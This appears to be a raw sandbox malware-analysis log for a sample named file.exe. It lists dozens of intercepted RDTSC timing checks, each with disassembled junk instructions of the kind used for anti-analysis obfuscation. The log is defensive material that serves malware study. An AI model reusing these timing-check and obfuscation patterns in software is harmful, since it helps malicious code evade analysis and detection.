Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2A1994 second address: 2A1999 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D04EE second address: 49D04F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D04F4 second address: 49D052F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F18AD89A08Fh 0x0000000f mov edx, dword ptr [ebp+0Ch] 0x00000012 jmp 00007F18AD89A096h 0x00000017 mov ecx, dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D052F second address: 49D0533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0533 second address: 49D0550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0550 second address: 49D0560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD7F407Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0560 second address: 49D0564 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A004D5 second address: 4A0053E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cl, 21h 0x0000000d pushfd 0x0000000e jmp 00007F18AD7F4081h 0x00000013 jmp 00007F18AD7F407Bh 0x00000018 popfd 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F18AD7F407Bh 0x00000025 sub eax, 53E5490Eh 0x0000002b jmp 00007F18AD7F4089h 0x00000030 popfd 0x00000031 mov esi, 3C7DB617h 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0053E second address: 4A00544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00544 second address: 4A00548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00548 second address: 4A00558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov al, 5Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00558 second address: 4A00577 instructions: 0x00000000 rdtsc 0x00000002 mov dl, 7Ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F18AD7F4083h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00577 second address: 4A0058F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD89A094h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0058F second address: 4A005A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A005A7 second address: 4A005AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A005AB second address: 4A005C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4087h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A005C6 second address: 4A00650 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F18AD89A08Fh 0x00000009 adc ax, BBEEh 0x0000000e jmp 00007F18AD89A099h 0x00000013 popfd 0x00000014 call 00007F18AD89A090h 0x00000019 pop esi 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F18AD89A08Eh 0x00000025 jmp 00007F18AD89A095h 0x0000002a popfd 0x0000002b movzx esi, di 0x0000002e popad 0x0000002f xchg eax, esi 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F18AD89A096h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00650 second address: 4A00656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00656 second address: 4A0065A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0065A second address: 4A0065E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0065E second address: 4A006C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b pushad 0x0000000c mov edi, 09EE26CAh 0x00000011 mov ecx, edi 0x00000013 popad 0x00000014 push esp 0x00000015 jmp 00007F18AD89A08Ah 0x0000001a mov dword ptr [esp], eax 0x0000001d pushad 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F18AD89A08Ch 0x00000025 jmp 00007F18AD89A095h 0x0000002a popfd 0x0000002b mov ch, 0Fh 0x0000002d popad 0x0000002e mov eax, edi 0x00000030 popad 0x00000031 push dword ptr [ebp+08h] 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 call 00007F18AD89A090h 0x0000003c pop esi 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00726 second address: 4A0072C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0072C second address: 4A00746 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD89A096h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00746 second address: 4A0074A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0074A second address: 4A00760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F18AD89A08Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00760 second address: 4A00766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00766 second address: 4A0076A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A007F8 second address: 4A007FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A007FE second address: 4A00802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0009E second address: 4A000A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A000A2 second address: 4A000B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A000B5 second address: 4A000BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A000BB second address: 4A0011B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push FDBD38E7h 0x00000010 jmp 00007F18AD89A08Fh 0x00000015 add dword ptr [esp], 78D7F289h 0x0000001c pushad 0x0000001d push ecx 0x0000001e mov si, dx 0x00000021 pop edx 0x00000022 mov esi, 4DB61033h 0x00000027 popad 0x00000028 mov eax, dword ptr fs:[00000000h] 0x0000002e pushad 0x0000002f jmp 00007F18AD89A094h 0x00000034 mov di, ax 0x00000037 popad 0x00000038 nop 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c pushad 0x0000003d popad 0x0000003e push edi 0x0000003f pop eax 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0011B second address: 4A00150 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4080h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F18AD7F407Bh 0x0000000f nop 0x00000010 pushad 0x00000011 push esi 0x00000012 mov dh, 11h 0x00000014 pop eax 0x00000015 mov edx, 06C9B1E0h 0x0000001a popad 0x0000001b sub esp, 18h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00150 second address: 4A00154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00154 second address: 4A00164 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00164 second address: 4A001BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov ebx, 27F3A040h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F18AD89A092h 0x00000015 sub si, 2688h 0x0000001a jmp 00007F18AD89A08Bh 0x0000001f popfd 0x00000020 movzx esi, dx 0x00000023 popad 0x00000024 mov dword ptr [esp], ebx 0x00000027 jmp 00007F18AD89A08Bh 0x0000002c xchg eax, esi 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F18AD89A090h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001BE second address: 4A001C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001C4 second address: 4A001C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A001C9 second address: 4A00214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F18AD7F4085h 0x00000012 xor ch, FFFFFFB6h 0x00000015 jmp 00007F18AD7F4081h 0x0000001a popfd 0x0000001b mov edx, eax 0x0000001d popad 0x0000001e xchg eax, esi 0x0000001f jmp 00007F18AD7F407Ah 0x00000024 xchg eax, edi 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00214 second address: 4A0021D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, BAEEh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0021D second address: 4A00223 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00223 second address: 4A00293 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F18AD89A08Dh 0x0000000e xchg eax, edi 0x0000000f jmp 00007F18AD89A08Eh 0x00000014 mov eax, dword ptr [769B4538h] 0x00000019 jmp 00007F18AD89A090h 0x0000001e xor dword ptr [ebp-08h], eax 0x00000021 jmp 00007F18AD89A090h 0x00000026 xor eax, ebp 0x00000028 jmp 00007F18AD89A091h 0x0000002d nop 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F18AD89A08Dh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00293 second address: 4A002A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD7F407Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A002A3 second address: 4A002BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A08Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A002BA second address: 4A002C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A002C0 second address: 4A002C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A002C5 second address: 4A002D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F18AD7F407Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A002D3 second address: 4A00313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F18AD89A08Dh 0x00000010 jmp 00007F18AD89A08Bh 0x00000015 popfd 0x00000016 mov eax, 0311E7DFh 0x0000001b popad 0x0000001c lea eax, dword ptr [ebp-10h] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F18AD89A091h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00313 second address: 4A00364 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], eax 0x0000000f jmp 00007F18AD7F407Eh 0x00000014 mov dword ptr [ebp-18h], esp 0x00000017 pushad 0x00000018 mov ecx, 560B6EFDh 0x0000001d pushad 0x0000001e mov dx, si 0x00000021 mov cx, C2BBh 0x00000025 popad 0x00000026 popad 0x00000027 mov eax, dword ptr fs:[00000018h] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F18AD7F407Dh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00364 second address: 4A0039B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A091h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F18AD89A098h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0039B second address: 4A0039F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0039F second address: 4A003A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003A5 second address: 4A003AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003AB second address: 4A003AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003AF second address: 4A003BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003BF second address: 4A003C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003C3 second address: 4A003C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003C9 second address: 4A003CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A003CE second address: 4A00408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, 7A5Bh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F18AD7F40B6h 0x00000011 jmp 00007F18AD7F407Eh 0x00000016 add eax, ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F18AD7F4087h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00408 second address: 4A0040E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0040E second address: 4A00445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F407Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp+08h] 0x0000000e jmp 00007F18AD7F4086h 0x00000013 test ecx, ecx 0x00000015 pushad 0x00000016 mov eax, 7FF5043Dh 0x0000001b pushad 0x0000001c push esi 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F001F second address: 49F0023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0023 second address: 49F0029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0029 second address: 49F002F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F002F second address: 49F0033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0033 second address: 49F00AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b mov dh, 63h 0x0000000d jmp 00007F18AD89A092h 0x00000012 popad 0x00000013 pushfd 0x00000014 jmp 00007F18AD89A092h 0x00000019 sbb si, 8DC8h 0x0000001e jmp 00007F18AD89A08Bh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F18AD89A08Bh 0x0000002f sbb esi, 3988C40Eh 0x00000035 jmp 00007F18AD89A099h 0x0000003a popfd 0x0000003b mov esi, 288DB517h 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F00AE second address: 49F0111 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 61h 0x00000005 mov si, BE2Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F18AD7F407Ch 0x00000015 add ecx, 02825DB8h 0x0000001b jmp 00007F18AD7F407Bh 0x00000020 popfd 0x00000021 jmp 00007F18AD7F4088h 0x00000026 popad 0x00000027 sub esp, 2Ch 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F18AD7F4087h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0111 second address: 49F013C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 jmp 00007F18AD89A08Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F18AD89A095h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F013C second address: 49F0158 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD7F4081h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d movsx edx, ax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0158 second address: 49F0181 instructions: 0x00000000 rdtsc 0x00000002 mov bh, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F18AD89A08Bh 0x0000000b mov esi, 312E096Fh 0x00000010 pop esi 0x00000011 popad 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F18AD89A08Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0181 second address: 49F0187 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0187 second address: 49F018B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F018B second address: 49F01AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F18AD7F4085h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F01AB second address: 49F01FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F18AD89A091h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F18AD89A093h 0x00000015 adc ax, 0C6Eh 0x0000001a jmp 00007F18AD89A099h 0x0000001f popfd 0x00000020 mov bh, cl 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F01FC second address: 49F0202 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0395 second address: 49F0399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0399 second address: 49F039F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F039F second address: 49F03A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F03A5 second address: 49F03A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F03A9 second address: 49F03BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a pushad 0x0000000b mov edx, 290A8D9Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F03BD second address: 49F03F8 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F18AD7F4081h 0x00000008 adc eax, 3A94A526h 0x0000000e jmp 00007F18AD7F4081h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 jg 00007F191F762116h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F03F8 second address: 49F03FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
